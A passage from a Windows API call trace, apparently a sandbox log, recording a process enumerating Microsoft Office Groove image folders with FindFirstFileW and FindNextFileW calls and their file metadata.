ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="BG_EAR~1.GIF")) returned 1 [0202.939] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePage.gif", cAlternateFileName="BG_FOR~1.GIF")) returned 1 [0202.939] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageBlank.gif", cAlternateFileName="BG_FOR~2.GIF")) returned 1 [0202.939] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="BG_GRE~1.GIF")) returned 1 [0202.939] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="BG_GRO~1.GIF")) returned 1 [0202.939] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="BG_LIG~1.GIF")) returned 1 [0202.939] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="BG_OLI~1.GIF")) returned 1 [0202.939] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="BG_PRE~1.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="BG_SLA~1.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="BG_TEX~1.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="BG_VEL~1.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left.gif", cAlternateFileName="BUTTON~1.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_disable.gif", cAlternateFileName="BUTTON~2.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_over.gif", cAlternateFileName="BUAC31~1.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid.gif", cAlternateFileName="BUTTON~3.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_disable.gif", cAlternateFileName="BUABE1~1.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_over.gif", cAlternateFileName="BU1E84~1.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right.gif", cAlternateFileName="BU7DFA~1.GIF")) returned 1 [0202.940] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_disable.gif", cAlternateFileName="BUC143~1.GIF")) returned 1 [0202.941] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_over.gif", cAlternateFileName="BUTTON~4.GIF")) returned 1 [0202.941] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FieldTypePreview", cAlternateFileName="FIELDT~1")) returned 1 [0202.941] GetProcessHeap () returned 0x550000 [0202.941] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264b110 [0202.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0202.944] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.944] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0202.944] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREAK.JPG", cAlternateFileName="")) returned 1 [0202.945] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.JPG", cAlternateFileName="")) returned 1 [0202.945] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHECKBOX.JPG", cAlternateFileName="")) returned 1 [0202.945] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMBOBOX.JPG", cAlternateFileName="")) returned 1 [0202.945] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x36bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.JPG", cAlternateFileName="")) returned 1 [0202.945] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.JPG", cAlternateFileName="")) returned 1 [0202.945] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x42af, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATE.JPG", cAlternateFileName="")) returned 1 [0202.945] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4139, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATETIME.JPG", cAlternateFileName="")) returned 1 [0202.945] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e01, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalInk.jpg", cAlternateFileName="DIGITA~1.JPG")) returned 1 [0202.945] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51f96af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmbeddedView.jpg", cAlternateFileName="EMBEDD~1.JPG")) returned 1 [0202.945] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e72, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADING.JPG", cAlternateFileName="")) returned 1 [0202.946] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x139a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMAGE.JPG", cAlternateFileName="")) returned 1 [0202.946] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe65, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINE.JPG", cAlternateFileName="")) returned 1 [0202.946] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTBOX.JPG", cAlternateFileName="")) returned 1 [0202.946] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x443a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NUMERIC.JPG", cAlternateFileName="")) returned 1 [0202.946] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSWORD.JPG", cAlternateFileName="")) returned 1 [0202.946] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIO.JPG", cAlternateFileName="")) returned 1 [0202.946] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ad9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SectionHeading.jpg", cAlternateFileName="SECTIO~1.JPG")) returned 1 [0202.946] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="StaticText.jpg", cAlternateFileName="STATIC~1.JPG")) returned 1 [0202.946] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3983, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTAREA.JPG", cAlternateFileName="")) returned 1 [0202.946] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a97, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTBOX.JPG", cAlternateFileName="")) returned 1 [0202.947] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x42fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTVIEW.JPG", cAlternateFileName="")) returned 1 [0202.947] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, 